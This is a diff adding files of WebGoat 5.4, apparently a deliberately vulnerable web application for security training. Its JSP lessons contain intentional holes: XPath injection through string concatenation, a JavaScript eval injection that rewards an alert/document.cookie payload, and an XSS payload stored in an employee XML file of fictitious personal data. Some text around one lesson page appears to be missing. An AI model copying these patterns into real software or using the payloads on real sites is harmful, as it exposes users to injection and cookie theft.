diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/filelist.xml
new file mode 100644
index 000000000..3d5d19db6
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/filelist.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image001.png
new file mode 100644
index 000000000..c710b2228
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image003.png
new file mode 100644
index 000000000..aa3b3886c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image005.png
new file mode 100644
index 000000000..c63e9830a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image007.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image007.jpg
new file mode 100644
index 000000000..a74456833
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image007.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image008.jpg
new file mode 100644
index 000000000..229e969db
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image009.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image009.jpg
new file mode 100644
index 000000000..731010dab
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/image009.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/formate.css b/webgoat-5.4/src/main/webapp/lesson_solutions/formate.css
new file mode 100644
index 000000000..be54b8cca
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/formate.css
@@ -0,0 +1,2 @@
+* { font-family:"Arial","sans-serif"; }
+code { font-family:"Courier New"; font-size:10pt; }
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideFiltering.jsp b/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideFiltering.jsp
new file mode 100644
index 000000000..178b75d3c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideFiltering.jsp
@@ -0,0 +1,114 @@
+
+<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
+ pageEncoding="ISO-8859-1"%>
+
+<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %>
+
+<%
+
+ String userId = request.getParameter("userId");
+
+
+ NodeList nodes = null;
+
+
+
+ File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml"));
+
+ if(d.exists()){
+ System.out.print("File does exist");
+ }
+ else{
+ System.out.print("File DOES NOT exist");
+ }
+
+ System.out.println(d.getAbsolutePath());
+ XPathFactory factory = XPathFactory.newInstance();
+ XPath xPath = factory.newXPath();
+ InputSource inputSource = new InputSource(new FileInputStream(d));
+
+
+
+
+
+
+ StringBuffer sb = new StringBuffer();
+
+ sb.append("/Employees/Employee/UserID | ");
+ sb.append("/Employees/Employee/FirstName | ");
+ sb.append("/Employees/Employee/LastName | ");
+ sb.append("/Employees/Employee/SSN | ");
+ sb.append("/Employees/Employee/Salary ");
+
+ String expression = sb.toString();
+
+
+ System.out.print("expression:" + expression);
+
+
+
+ nodes = (NodeList) xPath.evaluate(expression, inputSource,
+ XPathConstants.NODESET);
+ int nodesLength = nodes.getLength();
+
+
+ System.out.println("nodesLength:" + nodesLength);
+
+ TR tr;
+
+ int COLUMNS = 5;
+
+ Table t2 = null;
+ if (nodesLength > 0)
+ {
+ t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(
+ 1).setWidth("90%").setAlign("center");
+ tr = new TR();
+ tr.addElement(new TD().addElement("UserID"));
+ tr.addElement(new TD().addElement("First Name"));
+ tr.addElement(new TD().addElement("Last Name"));
+ tr.addElement(new TD().addElement("SSN"));
+ tr.addElement(new TD().addElement("Salary"));
+ t2.addElement(tr);
+ }
+
+
+
+ tr = new TR();
+
+ for (int i = 0; i < nodesLength; i++)
+ {
+ Node node = nodes.item(i);
+
+ if(i%COLUMNS==0){
+ tr = new TR();
+ tr.setID(node.getTextContent());
+ //tr.setStyle("display: none");
+ }
+
+ tr.addElement(new TD().addElement(node.getTextContent()));
+
+ if(i%COLUMNS==(COLUMNS-1)){
+ t2.addElement(tr);
+ }
+ }
+
+ if(t2 != null){
+ out.println(t2.toString());
+ }
+ else{
+ out.println("No Results");
+ }
+
+
+
+
+
+
+
+
+
+
+
+%>
+
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideFiltering_backup.jsp b/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideFiltering_backup.jsp
new file mode 100644
index 000000000..f8181cb0b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideFiltering_backup.jsp
@@ -0,0 +1,114 @@
+
+<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
+ pageEncoding="ISO-8859-1"%>
+
+<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %>
+
+<%
+
+ String userId = request.getParameter("userID");
+
+
+ NodeList nodes = null;
+
+
+
+ File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml"));
+
+ if(d.exists()){
+ System.out.print("File does exist");
+ }
+ else{
+ System.out.print("File DOES NOT exist");
+ }
+
+ System.out.println(d.getAbsolutePath());
+ XPathFactory factory = XPathFactory.newInstance();
+ XPath xPath = factory.newXPath();
+ InputSource inputSource = new InputSource(new FileInputStream(d));
+
+
+
+
+
+
+ StringBuffer sb = new StringBuffer();
+
+ sb.append("/Employees/Employee/UserID | ");
+ sb.append("/Employees/Employee/FirstName | ");
+ sb.append("/Employees/Employee/LastName | ");
+ sb.append("/Employees/Employee/SSN | ");
+ sb.append("/Employees/Employee/Salary ");
+
+ String expression = sb.toString();
+
+
+ System.out.print("expression:" + expression);
+
+
+
+ nodes = (NodeList) xPath.evaluate(expression, inputSource,
+ XPathConstants.NODESET);
+ int nodesLength = nodes.getLength();
+
+
+ System.out.println("nodesLength:" + nodesLength);
+
+ TR tr;
+
+ int COLUMNS = 5;
+
+ Table t2 = null;
+ if (nodesLength > 0)
+ {
+ t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(
+ 1).setWidth("90%").setAlign("center");
+ tr = new TR();
+ tr.addElement(new TD().addElement("UserID"));
+ tr.addElement(new TD().addElement("First Name"));
+ tr.addElement(new TD().addElement("Last Name"));
+ tr.addElement(new TD().addElement("SSN"));
+ tr.addElement(new TD().addElement("Salary"));
+ t2.addElement(tr);
+ }
+
+
+
+ tr = new TR();
+
+ for (int i = 0; i < nodesLength; i++)
+ {
+ Node node = nodes.item(i);
+
+ if(i%COLUMNS==0){
+ tr = new TR();
+ tr.setID(node.getTextContent());
+ //tr.setStyle("display: none");
+ }
+
+ tr.addElement(new TD().addElement(node.getTextContent()));
+
+ if(i%COLUMNS==(COLUMNS-1)){
+ t2.addElement(tr);
+ }
+ }
+
+ if(t2 != null){
+ out.println(t2.toString());
+ }
+ else{
+ out.println("No Results");
+ }
+
+
+
+
+
+
+
+
+
+
+
+%>
+
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideValidation.jsp b/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideValidation.jsp
new file mode 100644
index 000000000..a035833c3
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/Ajax/clientSideValidation.jsp
@@ -0,0 +1,30 @@
+<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
+ pageEncoding="ISO-8859-1"%>
+
+
+
+<% String coupon = request.getParameter("coupon");
+
+if (coupon.equalsIgnoreCase("PLATINUM")){
+ out.print(".25");
+}
+else if (coupon.equalsIgnoreCase("GOLD")){
+ out.print(".5");
+}
+else if (coupon.equalsIgnoreCase("SILVER")){
+ out.print(".75");
+}
+else if (coupon.equalsIgnoreCase("BRONZE")){
+ out.print(".8");
+}
+else if (coupon.equalsIgnoreCase("PRESSONE")){
+ out.print(".9");
+}
+else if (coupon.equalsIgnoreCase("PRESSTWO")){
+ out.print(".95");
+}
+
+
+
+%>
+
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/employees.xml b/webgoat-5.4/src/main/webapp/lessons/Ajax/employees.xml
new file mode 100644
index 000000000..8e0df8fcc
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/Ajax/employees.xml
@@ -0,0 +1,254 @@
+
+
+
+ 101
+ Larry
+ Stooge
+ 9175 Guilford Rd
+ New York, NY
+ 443-689-0192
+ 1012000
+ 386-09-5451
+ 55000
+ 2578546969853547
+ 5000
+ Does not work well with others
+ Constantly harassing coworkers
+ 10106
+
+ 102
+ 111
+ 112
+
+
+
+ 102
+ Moe
+ Stooge
+ 3013 AMD Ave
+ New York, NY
+ 443-938-5301
+ 3082003
+ 936-18-4524
+ 140000
+ NA
+ 0
+ Very dominating over Larry and Curly
+ Hit Curly over head
+ 101013
+
+ 112
+
+
+
+ 103
+ Curly
+ Stooge
+ 1112 Crusoe Lane
+ New York, NY
+ 410-667-6654
+ 2122001
+ 961-08-0047
+ 50000
+ NA
+ 0
+ Owes three-thousand to company for fradulent purchases
+ Hit Moe back
+ 101014
+
+ 102
+ 111
+ 112
+
+
+
+ 104
+ Eric
+ Walker
+ 1160 Prescott Rd
+ New York, NY
+ 410-887-1193
+ 12152005
+ 445-66-5565
+ 13000
+ NA
+ 0
+ Late. Always needs help. Too intern-ish.
+ Bothering Larry about webgoat problems
+ 101013
+
+ 107
+ 102
+ 111
+ 112
+
+
+
+ 105
+ Tom
+ Cat
+ 2211 HyperThread Rd.
+ New York, NY
+ 443-599-0762
+ 1011999
+ 792-14-6364
+ 80000
+ 5481360857968521
+ 30000
+ Co-Owner.
+ NA
+ 0
+
+ 106
+ 102
+ 111
+ 112
+
+
+
+ 106
+ Jerry
+ Mouse
+ 3011 Unix Drive
+ New York, NY
+ 443-699-3366
+ 1011999
+ 858-55-4452
+ 70000
+ 6981754825013564
+ 20000
+ Co-Owner.
+ NA
+ 0
+
+ 102
+ 111
+ 112
+
+
+
+ 107
+ David
+ Giambi
+ 5132 DIMM Avenue
+ New York, NY
+ 610-521-8413
+ 5011999
+ 439-20-9405
+ 100000
+ 6981754825018101
+ 10000
+ Strong work habbit. Questionable ethics.
+ Hacked into accounting server. Modified personal pay.
+ 61402
+
+ 102
+ 111
+ 112
+
+
+
+ 108
+ Bruce
+ McGuirre
+ 8899 FreeBSD Drive<script>alert(document.cookie)</script>
+ New York, NY
+ 610-282-1103
+ 3012000
+ 707-95-9482
+ 110000
+ 6981754825854136
+ 30000
+ Enjoys watching others struggle in exercises.
+ Tortuous Boot Camp workout at 5am. Employees felt sick.
+ 61502
+
+ 107
+ 102
+ 111
+ 112
+
+
+
+ 109
+ Sean
+ Livingston
+ 6422 dFlyBSD Road
+ New York, NY
+ 610-878-9549
+ 6012003
+ 136-55-1046
+ 130000
+ 6981754825014510
+ 5000
+ Has some fascination with Steelers. Go Ravens.
+ Late to work 30 days in row due to excessive Halo 2
+ 72804
+
+ 107
+ 102
+ 111
+ 112
+
+
+
+ 110
+ Joanne
+ McDougal
+ 5567 Broadband Lane
+ New York, NY
+ 610-213-6341
+ 1012001
+ 789-54-2413
+ 90000
+ 6981754825081054
+ 300
+ Finds it necessary to leave early every day.
+ Used company cc to purchase new car. Limit adjusted.
+ 112005
+
+ 106
+ 102
+ 111
+ 112
+
+
+
+ 111
+ John
+ Wayne
+ 129 Third St
+ New York, NY
+ 610-213-1134
+ 1012001
+ 129-69-4572
+ 200000
+ 4437334565679921
+ 300
+
+
+ 112005
+
+ 112
+
+
+
+ 112
+ Neville
+ Bartholomew
+ 1 Corporate Headquarters
+ San Jose, CA
+ 408-587-0024
+ 3012000
+ 111-111-1111
+ 450000
+ 4803389267684109
+ 300
+
+
+ 112005
+
+ 112
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/eval.jsp b/webgoat-5.4/src/main/webapp/lessons/Ajax/eval.jsp
new file mode 100644
index 000000000..f288f7637
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/Ajax/eval.jsp
@@ -0,0 +1,38 @@
+<%@ page language="java" contentType="text/html; charset=ISO-8859-1" import="java.util.regex.*" import="org.owasp.webgoat.lessons.DangerousEval"
+ pageEncoding="ISO-8859-1"%>
+<%
+String action = request.getParameter("action");
+String field1 = request.getParameter("field1");
+String field2 = request.getParameter("field2");
+String regex1 = "^[0-9]{3}$";// any three digits
+Pattern pattern1 = Pattern.compile(regex1);
+
+if(action == null) action = "Purchase";
+if(field1 == null) field1 = "123";
+if(field2 == null) field2 = "-1";
+
+/** For security reasons, we remove all '<' and '>' characters to prevent XSS **/
+// Thank you Victor Bucutea for noticing replaceAll only cleans taint to the return value.
+field1 = field1.replaceAll("<", "");
+field1 = field1.replaceAll(">", "");
+field2 = field2.replaceAll("<", "");
+field2 = field2.replaceAll(">", "");
+
+if("Purchase".equals(action))
+{
+ if(!pattern1.matcher(field1).matches())
+ {
+ /** If they supplied the right attack, pass them **/
+ if(field1.indexOf("');") != -1 && field1.indexOf("alert") != -1 && field1.indexOf("document.cookie") != -1)
+ {
+ session.setAttribute(DangerousEval.PASSED, "true");
+ }
+
+ out.write("alert('Whoops: You entered an incorrect access code of \"" + field1 + "\"');");
+ }
+ else
+ {
+ out.write("alert('Purchase completed successfully with credit card \"" + field2 + "\" and access code \"" + field1 + "\"');");
+ }
+}
+%>
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/images/lesson1_header.jpg b/webgoat-5.4/src/main/webapp/lessons/Ajax/images/lesson1_header.jpg
new file mode 100644
index 000000000..60a809af0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lessons/Ajax/images/lesson1_header.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/images/lesson1_workspace.jpg b/webgoat-5.4/src/main/webapp/lessons/Ajax/images/lesson1_workspace.jpg
new file mode 100644
index 000000000..292d25654
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lessons/Ajax/images/lesson1_workspace.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/instructor/clientSideFiltering_i.jsp b/webgoat-5.4/src/main/webapp/lessons/Ajax/instructor/clientSideFiltering_i.jsp
new file mode 100644
index 000000000..e6217ecb6
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/Ajax/instructor/clientSideFiltering_i.jsp
@@ -0,0 +1,111 @@
+
+<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
+ pageEncoding="ISO-8859-1"%>
+
+<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %>
+
+<%
+
+String userId = request.getParameter("userId");
+
+
+ NodeList nodes = null;
+
+
+
+ File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml"));
+
+ if(d.exists()){
+ System.out.print("File does exist");
+ }
+ else{
+ System.out.print("File DOES NOT exist");
+ }
+
+ System.out.println(d.getAbsolutePath());
+ XPathFactory factory = XPathFactory.newInstance();
+ XPath xPath = factory.newXPath();
+ InputSource inputSource = new InputSource(new FileInputStream(d));
+
+
+ StringBuffer sb = new StringBuffer();
+
+ sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/UserID | ");
+ sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/FirstName | ");
+ sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/LastName | ");
+ sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/SSN | ");
+ sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/Salary ");
+
+ String expression = sb.toString();
+
+ System.out.print("expression:" + expression);
+
+
+
+
+
+ nodes = (NodeList) xPath.evaluate(expression, inputSource,
+ XPathConstants.NODESET);
+ int nodesLength = nodes.getLength();
+
+
+ System.out.println("nodesLength:" + nodesLength);
+
+ TR tr;
+
+ int COLUMNS = 5;
+
+ Table t2 = null;
+ if (nodesLength > 0)
+ {
+ t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(
+ 1).setWidth("90%").setAlign("center");
+ tr = new TR();
+ tr.addElement(new TD().addElement("UserID"));
+ tr.addElement(new TD().addElement("First Name"));
+ tr.addElement(new TD().addElement("Last Name"));
+ tr.addElement(new TD().addElement("SSN"));
+ tr.addElement(new TD().addElement("Salary"));
+ t2.addElement(tr);
+ }
+
+
+
+ tr = new TR();
+
+ for (int i = 0; i < nodesLength; i++)
+ {
+ Node node = nodes.item(i);
+
+ if(i%COLUMNS==0){
+ tr = new TR();
+ tr.setID(node.getTextContent());
+ //tr.setStyle("display: none");
+ }
+
+ tr.addElement(new TD().addElement(node.getTextContent()));
+
+ if(i%COLUMNS==(COLUMNS-1)){
+ t2.addElement(tr);
+ }
+ }
+
+ if(t2 != null){
+ out.println(t2.toString());
+ }
+ else{
+ out.println("No Results");
+ }
+
+
+
+
+
+
+
+
+
+
+
+%>
+
diff --git a/webgoat-5.4/src/main/webapp/lessons/Ajax/sameOrigin.jsp b/webgoat-5.4/src/main/webapp/lessons/Ajax/sameOrigin.jsp
new file mode 100644
index 000000000..26e652898
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/Ajax/sameOrigin.jsp
@@ -0,0 +1 @@
+Good Response
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lessons/ConfManagement/config.jsp b/webgoat-5.4/src/main/webapp/lessons/ConfManagement/config.jsp
new file mode 100644
index 000000000..7abe1430f
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/ConfManagement/config.jsp
@@ -0,0 +1,19 @@
+<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
+ pageEncoding="ISO-8859-1"%>
+<%@page import="org.owasp.webgoat.session.WebSession"%>
+<%
+WebSession webSession = ((WebSession)session.getAttribute("websession"));
+%>
+
+
+
+
+Configuration Page
+
+
+<% response.sendRedirect(webSession.getCurrentLesson().getLink() +
+ "&succeeded=yes");
+%>
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.css b/webgoat-5.4/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.css
new file mode 100644
index 000000000..fad6880ad
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.css
@@ -0,0 +1,14 @@
+#lesson_wrapper {height: 435px;width: 500px;}
+#lesson_header {background-image: url(lessons/CrossSiteScripting/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}
+.lesson_workspace {background-image: url(lessons/CrossSiteScripting/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}
+.lesson_text {height: 240px;width: 460px;padding-top: 5px;}
+#lesson_buttons_bottom {height: 20px;width: 460px;}
+#lesson_b_b_left {width: 300px;float: left;}
+#lesson_b_b_right input {width: 100px;float: right;}
+.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;}
+.lesson_workspace { }
+.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;}
+.lesson_text_db {color: #0066FF}
+#lesson_login {background-image: url(lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}
+#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;}
+#lesson_search {background-image: url(lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}
diff --git a/webgoat-5.4/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.jsp b/webgoat-5.4/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.jsp
new file mode 100644
index 000000000..a571c370c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.jsp
@@ -0,0 +1,26 @@
+<%@ page contentType="text/html; charset=ISO-8859-1" language="java"
+ import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting"
+ errorPage="" %>
+
+<%
+WebSession webSession = ((WebSession)session.getAttribute("websession"));
+CrossSiteScripting currentLesson = (CrossSiteScripting) webSession.getCurrentLesson();
+%>
+
The lesson you were on was: <%=webSession.getCurrentLesson().getName()%>
+
There are several ways to report a bug, fix a bug, or get help.
+
+To report a bug:
+
+
File a WebGoat defect using Google Code
+ WebGoat Issues. Please be as specific as possible. If you have a
+ recommended solution for a bug, include the solution in the bug report.
+
+To get help:
+
+
Look in the FAQ,
+ the most common problems are in the FAQ. The FAQ also allows user comments,
+ but it is not monitored like the WebGoat mailing list.
+
Send an email to the WebGoat
+ mail list. The WebGoat mail list is the preferred method to ask for
+ help. It is likely that someone has already experienced the issue you
+ are seeing. In order to post to the list you must be subscribed
+ to the WebGoat Mail List.
Send an email to Bruce
+ Mayhew. This will start the discussion of getting you added to the WebGoat
+ Contributers List. Once you become a WebGoat contributor, you can fix
+ as many bugs/lessons as you desire.
+
+
diff --git a/webgoat-5.4/src/main/webapp/users/ReadMe.txt b/webgoat-5.4/src/main/webapp/users/ReadMe.txt
new file mode 100644
index 000000000..39f82909b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/users/ReadMe.txt
@@ -0,0 +1 @@
+User-specific lesson state is stored under this directory.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/webgoat.jsp b/webgoat-5.4/src/main/webapp/webgoat.jsp
new file mode 100644
index 000000000..087da93fd
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/webgoat.jsp
@@ -0,0 +1,138 @@
+<%@ page contentType="text/html; charset=ISO-8859-1" language="java"
+ errorPage=""%>
+<%@page import="org.owasp.webgoat.session.WebSession"%>
+<%
+WebSession webSession = ((WebSession) session.getAttribute("websession"));
+%>
+
+
+
+
+
+WebGoat V5.4
+
+
+
+
+
+
+
+
+
Thank you for using WebGoat! This program is a demonstration of common web application flaws.
+The exercises are intended to provide hands on experience with
+application penetration testing techniques.
+
The WebGoat project is led
+by Bruce Mayhew. Please send all comments to Bruce at <%=webSession.getWebgoatContext().getFeedbackAddress()%>.
WARNING
+While running this program, your machine is extremely vulnerable to
+attack if you are not running on localhost. If you are NOT running on localhost (default configuration), You should disconnect from the network while using this program.
+
+
+This program is for educational purposes only. Use of these techniques
+without permission could lead to job termination, financial liability,
+and/or criminal penalties.
Thank you for using WebGoat! This program is a demonstration of common web application flaws.
+The exercises are intended to provide hands on experience with
+application penetration testing techniques.
+
The WebGoat project is led
+by Bruce Mayhew. Please send all comments to Bruce at <%=webSession.getWebgoatContext().getFeedbackAddress()%>.
WARNING
+While running this program, your machine is extremely vulnerable to
+attack if you are not running on localhost. If you are NOT running on localhost (default configuration), You should disconnect from the network while using this program.
+
+
+This program is for educational purposes only. Use of these techniques
+without permission could lead to job termination, financial liability,
+and/or criminal penalties.
+
+
+
diff --git a/webgoat-5.4/webgoat for SQL Server.bat b/webgoat-5.4/webgoat for SQL Server.bat
new file mode 100644
index 000000000..d88d8dd35
--- /dev/null
+++ b/webgoat-5.4/webgoat for SQL Server.bat
@@ -0,0 +1,34 @@
+@echo on
+
+
+@REM Clear the lib env var as it can hose tomcat
+SET lib=
+
+@REM Make sure the webgoat DB is writable
+attrib -R .\tomcat\webapps\WebGoat\database\*.*
+
+@REM Set env vars for tomcat and java, use PWD as some machines don't have
+@REM \. on their path
+set PWD=%cd%
+set CATALINA_HOME=%PWD%\tomcat
+set JAVA_HOME=%PWD%\java
+
+@REM Configure environment variables to override web.xml
+SET DatabaseDriver=net.sourceforge.jtds.jdbc.Driver
+SET DatabaseConnectionString=jdbc:jtds:sqlserver://./webgoat;namedPipe=true;INSTANCE=WEBGOAT
+SET DatabaseUser=webgoat
+SET DtabasePassword=_webgoat
+
+delete .\tomcat\conf\server.xml
+copy .\tomcat\conf\server_80.xml .\tomcat\conf\server.xml
+
+@REM Run tomcat: must have quotes incase var has spaces in it
+call "%CATALINA_HOME%\bin\startup.bat" start
+
+echo
+echo If the Tomcat DOS shell quit immediately, it is likely that
+echo there is another service listening on port 80.
+echo
+
+
+
diff --git a/webgoat-5.4/webgoat.bat b/webgoat-5.4/webgoat.bat
new file mode 100644
index 000000000..885ccd849
--- /dev/null
+++ b/webgoat-5.4/webgoat.bat
@@ -0,0 +1,25 @@
+@echo on
+
+
+@REM Clear the lib env var as it can hose tomcat
+SET lib=
+
+@REM Make sure the webgoat DB is writable
+attrib -R .\tomcat\webapps\WebGoat\database\*.*
+
+@REM Set env vars for tomcat and java, use PWD as some machines don't have
+@REM \. on their path
+set PWD=%cd%
+set CATALINA_HOME=%PWD%\tomcat
+set JAVA_HOME=%PWD%\java
+
+delete .\tomcat\conf\server.xml
+copy .\tomcat\conf\server_80.xml .\tomcat\conf\server.xml
+
+@REM Run tomcat: must have quotes incase var has spaces in it
+call "%CATALINA_HOME%\bin\startup.bat" start
+
+echo
+echo If the Tomcat DOS shell quit immediately, it is likely that
+echo there is another service listening on port 80.
+echo
diff --git a/webgoat-5.4/webgoat.sh b/webgoat-5.4/webgoat.sh
new file mode 100644
index 000000000..25f26ea17
--- /dev/null
+++ b/webgoat-5.4/webgoat.sh
@@ -0,0 +1,60 @@
+#! /bin/sh
+
+SYSTEM=`uname -s`
+CATALINA_HOME=./tomcat
+PATH=${PATH}:./tomcat/bin
+export CATALINA_HOME PATH
+
+chmod +x ./$CATALINA_HOME/bin/*.sh
+if [ $SYSTEM = "Darwin" ]; then
+ JAVA_HOME=/System/Library/Frameworks/JavaVM.framework/Versions/1.5/Home
+ export JAVA_HOME
+
+else
+
+is_java_1dot5() {
+ if [ "X$JAVA_HOME" != "X" -a -d $JAVA_HOME ]; then
+ $JAVA_HOME/bin/java -version 2>&1 | grep 'version \"1.5' >/dev/null
+ if [ $? -ne 0 ]; then
+ echo "The JVM in \$JAVA_HOME isn't version 1.5."
+ exit 1
+ fi
+ else
+ echo "Please set JAVA_HOME to a Java 1.5 JDK install"
+ exit 1
+ fi
+}
+
+is_java_1dot5
+
+fi
+
+case "$1" in
+ start80)
+ cp -f $CATALINA_HOME/conf/server_80.xml $CATALINA_HOME/conf/server.xml
+ $CATALINA_HOME/bin/startup.sh
+ printf "\n Open http://127.0.0.1/WebGoat/attack"
+ printf "\n Username: guest"
+ printf "\n Password: guest"
+ printf "\n Or try http://guest:guest@127.0.0.1/WebGoat/attack \n\n\r"
+ sleep 2
+ tail -f $CATALINA_HOME/logs/catalina.out
+ ;;
+ start8080)
+ cp -f $CATALINA_HOME/conf/server_8080.xml $CATALINA_HOME/conf/server.xml
+ $CATALINA_HOME/bin/startup.sh
+ printf "\n Open http://127.0.0.1:8080/WebGoat/attack"
+ printf "\n Username: guest"
+ printf "\n Password: guest"
+ printf "\n Or try http://guest:guest@127.0.0.1:8080/WebGoat/attack \n\n\r"
+ sleep 2
+ tail -f $CATALINA_HOME/logs/catalina.out
+ ;;
+ stop)
+ $CATALINA_HOME/bin/shutdown.sh
+ ;;
+ *)
+ echo $"Usage: $prog {start8080|start80|stop}"
+ exit 1
+ ;;
+esac
diff --git a/webgoat-5.4/webgoat_8080.bat b/webgoat-5.4/webgoat_8080.bat
new file mode 100644
index 000000000..a7f9dbb3f
--- /dev/null
+++ b/webgoat-5.4/webgoat_8080.bat
@@ -0,0 +1,25 @@
+@echo on
+
+
+@REM Clear the lib env var as it can hose tomcat
+SET lib=
+
+@REM Make sure the webgoat DB is writable
+attrib -R .\tomcat\webapps\WebGoat\database\*.*
+
+@REM Set env vars for tomcat and java, use PWD as some machines don't have
+@REM \. on their path
+set PWD=%cd%
+set CATALINA_HOME=%PWD%\tomcat
+set JAVA_HOME=%PWD%\java
+
